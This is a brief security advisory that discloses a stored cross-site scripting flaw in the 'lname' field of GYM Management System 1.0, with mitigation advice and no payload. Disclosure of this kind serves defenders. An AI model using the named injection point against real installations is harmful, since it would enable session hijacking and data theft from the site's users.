GYM Management System – Cross Site Scripting (Stored)

The GYM Management System version 1.0 is vulnerable to stored cross-site scripting (XSS) due to insufficient validation of user-supplied data. An attacker can inject a malicious payload in the 'lname' field, leading to the execution of arbitrary JavaScript code in the context of the victim's browser. This can result in session hijacking, sensitive information theft, or other malicious actions. The vulnerability was detected by Alperen Yozgat.

Mitigation:

To mitigate this vulnerability, input validation and output encoding should be implemented to sanitize user inputs and prevent the execution of scripts. Additionally, developers should avoid directly reflecting user-supplied data without proper validation.
